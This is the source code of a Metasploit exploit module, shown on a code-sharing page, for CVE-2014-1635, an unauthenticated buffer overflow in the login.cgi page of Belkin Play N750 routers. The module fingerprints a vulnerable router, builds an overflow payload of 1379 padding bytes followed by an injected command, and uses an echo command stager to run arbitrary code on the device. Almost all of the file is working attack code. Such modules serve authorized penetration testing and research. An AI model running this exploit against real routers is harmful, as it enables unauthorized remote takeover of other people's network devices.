Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/http/belkin_login_bof.rb
28052 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = NormalRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
include Msf::Exploit::CmdStager
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'Belkin Play N750 login.cgi Buffer Overflow',
17
'Description' => %q{
18
This module exploits a remote buffer overflow vulnerability on Belkin Play N750 DB
19
Wireless Dual-Band N+ Router N750 routers. The vulnerability exists in the handling
20
of HTTP queries with long 'jump' parameters addressed to the /login.cgi URL, allowing
21
remote unauthenticated attackers to execute arbitrary code. This module was tested in
22
an emulated environment, using the version 1.10.16.m of the firmware.
23
},
24
'Author' => [
25
'Marco Vaz <mv[at]integrity.pt>', # Vulnerability discovery and msf module (telnetd)
26
'Michael Messner <devnull[at]s3cur1ty.de>', # msf module with echo stager
27
],
28
'License' => MSF_LICENSE,
29
'Platform' => ['linux'],
30
'Arch' => ARCH_MIPSLE,
31
'References' => [
32
['CVE', '2014-1635'],
33
['EDB', '35184'],
34
['BID', '70977'],
35
['OSVDB', '114345'],
36
['URL', 'https://labs.integrity.pt/articles/from-0-day-to-exploit-buffer-overflow-in-belkin-n750-cve-2014-1635/'],
37
['URL', 'http://www.belkin.com/us/support-article?articleNum=4831']
38
],
39
'Targets' => [
40
[
41
'Belkin Play N750 DB Wireless Dual-Band N+ Router, F9K1103, firmware 1.10.16.m',
42
{
43
'Offset' => 1379,
44
}
45
]
46
],
47
'DefaultOptions' => {
48
'RPORT' => 8080
49
},
50
'DisclosureDate' => '2014-05-09',
51
'DefaultTarget' => 0,
52
'Notes' => {
53
'Reliability' => UNKNOWN_RELIABILITY,
54
'Stability' => UNKNOWN_STABILITY,
55
'SideEffects' => UNKNOWN_SIDE_EFFECTS
56
}
57
)
58
)
59
deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR')
60
end
61
62
def check
63
begin
64
res = send_request_cgi({
65
'method' => 'GET',
66
'uri' => '/'
67
})
68
69
if res &&
70
[200, 301, 302].include?(res.code) &&
71
res.headers['Server'] &&
72
res.headers['Server'] =~ /minhttpd/ &&
73
res.body =~ /u_errpaswd/
74
75
return Exploit::CheckCode::Detected
76
end
77
rescue ::Rex::ConnectionError
78
return Exploit::CheckCode::Unknown
79
end
80
81
Exploit::CheckCode::Unknown
82
end
83
84
def exploit
85
print_status("Accessing the vulnerable URL...")
86
87
unless check == Exploit::CheckCode::Detected
88
fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable URL")
89
end
90
91
print_status("Exploiting...")
92
execute_cmdstager(
93
:flavor => :echo,
94
:linemax => 200
95
)
96
end
97
98
def prepare_shellcode(cmd)
99
shellcode = rand_text_alpha_upper(target['Offset'])
100
shellcode << 'e' << cmd
101
shellcode << "\n\n"
102
end
103
104
def execute_command(cmd, opts)
105
shellcode = prepare_shellcode(cmd)
106
begin
107
res = send_request_cgi({
108
'method' => 'POST',
109
'uri' => '/login.cgi',
110
'vars_post' => {
111
'GO' => '',
112
'jump' => shellcode,
113
}
114
})
115
return res
116
rescue ::Rex::ConnectionError
117
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
118
end
119
end
120
end
121
122